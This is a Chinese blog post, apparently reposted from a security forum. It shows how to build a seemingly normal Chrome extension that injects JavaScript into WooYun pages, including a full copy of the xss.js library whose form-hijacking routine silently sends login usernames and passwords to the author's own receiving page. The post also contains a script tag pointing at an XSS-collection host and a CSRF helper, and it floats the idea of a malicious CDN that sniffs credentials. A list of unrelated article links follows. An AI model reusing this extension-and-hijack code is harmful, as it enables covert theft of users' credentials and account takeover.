利用Chrome插件向指定页面植入js,劫持 XSS
- 利用Chrome插件向指定页面植入js,劫持 XSS,一些猥琐的想法与实践
- 0x00 Chrome插件
--------------------------
这个想法是昨天看到@紫梦芊 的帖子想起来的。
想法如下:
Chrome插件是可以通过manifest.json的控制,向指定页面植入contentscript.js里的脚本的。那么,能不能在一个看似正常的插件里,安放一个小功能:在所有乌云的页面里<script src=//xsser.me></script>呢?
于是,开始实践。(为了方便,只是弹了一个小框框)。
Manifest.json内容:123456789101112131415{
"name"
:
"XiaoChaJian"
,
"version"
:
"1.0"
,
"manifest_version"
: 2,
"author"
:
"VIP"
,
"icons"
: {
"128"
:
"icon.png"
},
"permissions"
: [
],
"content_scripts"
: [
]
}
contentscript.js内容:
alert(/xss/);那么,将弹框换成xsser.me,是不是就能截获想要的cookies了呢?
很遗憾,这种方法在乌云无效,因为乌云的cookies是HTTP-ONLY的。虽然插件上也能获取http-only的cookies(像Edit this cookie和cookie快速模拟一样),但是很麻烦,于是,又有一个猥琐的想法诞生了:在乌云的登录页面中,插入@Sogili的xss.js来劫持表单,是不是就能把用户名和密码发送到我们想要的地方去了呢?
开始实践:
Manifest.json内容:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232{
"name"
:
"JieChiBiaoDan"
,
"version"
:
"1.0"
,
"manifest_version"
: 2,
"author"
:
"VIP"
,
"icons"
: {
"128"
:
"icon.png"
},
"permissions"
: [
],
"content_scripts"
: [
{
"js"
:[
"contentscript.js"
],
"matches"
:
]
}
contentscript.js内容:
;;
var
xss =
function
(){
var
x = {
'name'
:
'xss.js'
,
'version'
:
'0.2.1'
,
'author'
:
'长短短(sogili)'
};
x.x=
function
(id){
return
document.getElementById(id)};
//容错取值
x.e=
function
(_){
try
{
return
eval(
'('
+_+
')'
)}
catch
(e){
return
''
}};
//浏览器
x.i={
i:!!self.ActiveXObject&&(
function
(){
for
(
var
v=6,s=document.createElement(
's'
);
s.innerHTML=
'<![if gt IE '
+(v++)+
']
><i></i><![endif]-->'
,
s.getElementsByTagName(
'i'
)[0];);
return
v;
}()),
c:!!self.chrome,
f:self.mozPaintCount>-1,
o:!!self.opera,
s:!self.chrome&&!!self.WebKitPoint
};
//UA
x.ua = navigator.userAgent;
//判断是否为苹果手持设备
x.apple=/ip(one|ad|od)/i.test(x.ua);
//随机数
x.rdm=
function
(){
return
~~(Math.random()*1e5)};
//url编码(UTF8)
x.ec=encodeURIComponent;
x.html=
function
(){
return
document.getElementsByTagName(
'html'
)[0]
||document.write(
'<html>'
)
||document.getElementsByTagName
(
'html'
)[0];
};
/*
* 销毁一个元素
*/
x.kill=
function
(e){
e.parentElement.removeChild(e);
};
/*
*绑定事件
*/
x.bind=
function
(e,name,fn){
e.addEventListener?e.addEventListener
(name,fn,
false
):e.attachEvent(
"on"
+name,fn);
};
/*
* dom准备完毕时执行函数
*/
x.ready=
function
(fn){
if
(!x.i.i){
x.bind(document,
'DOMContentLoaded'
,fn);
}
else
{
var
s = setInterval(
function
(){
try
{
document.body.doScroll(
'left'
);
clearInterval(s);
fn();
}
catch
(e){}
},4);
}
}
/*
* 同源检测
*/
x.o=
function
(url){
var
link = x.dom(
'<a href="'
+encodeURI(url)+
'">'
,1);
return
link.protocol+link.hoatname+
':'
+(link.port||80)
==location.protocol+location.hoatname+
':'
+(location.port||80);
};
/*
* html to dom
*/
x.dom=
function
(html,gcsec){
var
tmp = document.createElement(
'span'
);
tmp.innerHTML=html;
var
e = tmp.children[0];
e.style.display=
'none'
;
x.html().appendChild(e);
gcsec>>0>0&&setTimeout(
function
(){
x.kill(e);
},gcsec*1000);
return
e;
};
/*
* ajax
*/
x.ajax=
function
(url,params,callback){
(params
instanceof
Function)&&
(callback=params,params=void(0));
var
XHR = (!x.o(url)&&window.XDomainRequest)||
window.XMLHttpRequest||
(
function
(){
return
new
ActiveXObject
(
'MSXML2.XMLHTTP'
)});
var
xhr =
new
XHR();
xhr.open(params?
'post'
:
'get'
,url);
xhr.withCredentials =
true
;
try
{params&&xhr.setRequestHeader(
'content-
type'
,
'application/x-www-form-urlencoded'
);}
catch
(e){}
callback&&(xhr.onreadystatechange =
function
() {
(
this
.readyState == 4 && ((
this
.status >= 200
&&
this
.status <= 300) ||
this
.status == 304))&&callback.apply
(
this
,arguments);
});
xhr.send(params);
};
/*
* CSRF
*/
x.csrf=
function
(url,params,callback){
(params
instanceof
Function)&&
(callback=params,params=void(0));
if
(params){
var
form = x.dom(
'<form method=post>'
);
form.action=url;
for
(
var
name
in
params){
var
input = document.createElement
(
'input'
);
input.name=name;
input.value=params[name];
form.appendChild(input);
}
var
iframe = x.dom(
'<iframe sandbox
name=_'
+x.rdm()+
'_>'
,6);
callback&&setTimeout(
function
(){
x.bind(iframe,
'load'
,callback);
},30);
form.target=iframe.name;
form.submit();
}
else
{
var
img =
new
Image();
callback&&(img.onerror=callback);
img.src=url;
}
};
/*
* 表单劫持
*/
x.xform=
function
(form,action){
form.old_action=form.action,form.old_target=form.target,form.action=act
ion;
var
iframe = x.dom(
'<iframe name=_'
+x.rdm()+
'_>'
);
form.target=iframe.name;
setTimeout(
function
(){
x.bind(iframe,
'load'
,
function
(){
form.action=form.old_action,form.target=form.old_target,form.onsubmit=n
ull,form.submit();
});
},30);
};
/*
* 函数代理
*/
x.proxy=
function
(fn,before,after){
return
function
(){
before&&before.apply(
this
,arguments);
var
result = fn.apply(
this
,arguments);
after&&after.apply(
this
,arguments);
return
result;
}
};
return
x;
}();
http://vip.yupage.com/wy.php是我做好的一个接收页面,代码如下:
开始测试,打开登录页,填好用户名密码验证码,点击登录,首先会像我的接收页发起POST,然后才会POST乌云。
再去看看,用户名密码已经躺在那里了。
在不知情的情况下,用户名和密码就这样被劫持走了。乌云的wb转账功能可是没有二次验证的哦。
0x01 CDN
---------------
现在有许许多多的网站使用了CDN来进行加速/防D等。
去搜索了下CDN的工作原理,大概是这样的。
用户访问-》自动分配最快的节点-》请求原服务器-------
返回给用户《-返回给节点服务器《-原服务器返回数据<-|
那么,能不能搭建一台恶意的CDN,然后嗅探所有使用了该CDN的网站的用户名密码呢?
利用Chrome插件向指定页面植入js,劫持 XSS的更多相关文章
- 前端性能优化之利用 Chrome Dev Tools 进行页面性能分析
背景 我们经常使用 Chrome Dev Tools 来开发调试,但是很少知道怎么利用它来分析页面性能,这篇文章,我将详细说明怎样利用 Chrome Dev Tools 进行页面性能分析及性能报告数据 ...
- 利用chrome插件批量读取浏览器页面内容并写入数据库
试想一下,如果每天要收集100页网页数据甚至更多.如果采用人工收集会吐血,用程序去收集也就成为一个不二的选择.首先肯定会想到说用java.php.C#等高级语言,但这偏偏又有个登陆和验证码,搞到无所适 ...
- Chrome插件触发web页面的事件
Chrome插件中不能直接调用Web页面的元素js,原因是chrome插件的机制http://stackoverflow.com/questions/17819344/triggering-a-cli ...
- chrome插件访问原始页面的变量
开发chrome插件时遇到需要获取原始网页中的一个js变量的值问题.由于content.js和原始网页的作用域环境不同,无法直接获取变量的值,提示undefined.谷歌找到大神提供的办法.综合起来记 ...
- Windows下利用Chrome调试IOS设备页面
本文介绍如何在 Windows 系统中连接 iOS设备 并对 Web 页面进行真机调试 必须前提 iOS设备.数据线 Node.js 环境 Chrome 浏览器 环境准备 安装Node环境 参考Nod ...
- 利用Google Chrome开发插件,在网页中植入js代码
Google Chrome是一个很强大的浏览器,提供了各种各样的插件,大大提升了使用了的效率,比如vimium.honx等. Google在提供这些插件的同时还允许用户开发自己的插件. 最近在写js的 ...
- Chrome插件(Extensions)开发攻略
本文将从个人经验出发,讲述为什么需要Chrome插件,如何开发,如何调试,到哪里找资料,会遇到怎样的问题以及如何解决等,同时给出一个个人认为的比较典型的例子——获取网页内容,和服务器交互,再把信息反馈 ...
- 【干货】Chrome插件(扩展)开发全攻略(不点进来看看你肯定后悔)
写在前面 我花了将近一个多月的时间断断续续写下这篇博文,并精心写下完整demo,写博客的辛苦大家懂的,所以转载务必保留出处.本文所有涉及到的大部分代码均在这个demo里面:https://github ...
- 【干货】Chrome插件(扩展)开发全攻略
写在前面 我花了将近一个多月的时间断断续续写下这篇博文,并精心写下完整demo,写博客的辛苦大家懂的,所以转载务必保留出处.本文所有涉及到的大部分代码均在这个demo里面:https://github ...
随机推荐
- iOS 中 CAShapeLayer 的使用( 等待删除的博文)
等待删除. 1.CAShapeLayer 简介 1.CAShapeLayer继承至CALayer,可以使用CALayer的所有属性值 2.CAShapeLayer需要与贝塞尔曲线配合使用才有意义 3. ...
- C# 日志框架的添加
.NET中 记录日志的比较好的主要是Log4Net和Enterprise Library的Logging 复杂一点的还可以实现自动化Log日志 教程 首先是第二种方式 1.需要添加以下几个DLL 下 ...
- PS网页设计教程XXX——在PS中创建一个漫画书主题网页布局
作为编码者,美工基础是偏弱的.我们可以参考一些成熟的网页PS教程,提高自身的设计能力.套用一句话,“熟读唐诗三百首,不会作诗也会吟”. 本系列的教程来源于网上的PS教程,都是国外的,全英文的.本人尝试 ...
- IP工具类-自己动手做个ip解析器
IP工具类-自己动手做个ip解析器 一.资料准备 导入依赖包:
- CSS盒模型重新理解篇
最近比较闲,思索着怎么提高下JS技术,于是找到了昵称为豪情的这哥们的一篇文章,应该是哥们吧,详细了解了下,发现其中的试题CSS部分有些做起来很吃力,于是乎各种google恶补盒模型,找到了这哥们的一文 ...
- Heartbeat+LVS构建高可用负载均衡集群
1.heartbeat简介: Heartbeat 项目是 Linux-HA 工程的一个组成部分,它实现了一个高可用集群系统.心跳服务和集群通信是高可用集群的两个关键组件,在 Heartbeat 项目里 ...
- linux系统下设置oracle开机自动启动
在Linux系统中,安装好oracle数据库服务后,并不像在Windows系统下一样,oracle服务在默认情况下会随时系统的启动自动启动.Linux系统中,是需要用户去手动进行设置,才能实现orac ...
- HADOOP namenode HA
参考的文章:http://www.cnblogs.com/smartloli/p/4298430.html 当然,在操作的过程中,发现与上述文章中描述的还是有一些小小的区别. 配置好后,start-d ...
- 两种动态加载JavaScript文件的方法
两种动态加载JavaScript文件的方法 第一种便是利用ajax方式,第二种是,动静创建一个script标签,配置其src属性,经过把script标签拔出到页面head来加载js,感乐趣的网友可以看 ...
- 边工作边刷题:70天一遍leetcode: day 73
Read N Characters Given Read4 I/II 要点:这题的要点就是搞清楚几个变量的内在逻辑:只有buffer是整4 bytes的.而client要读的bytes(需求)和实际上 ...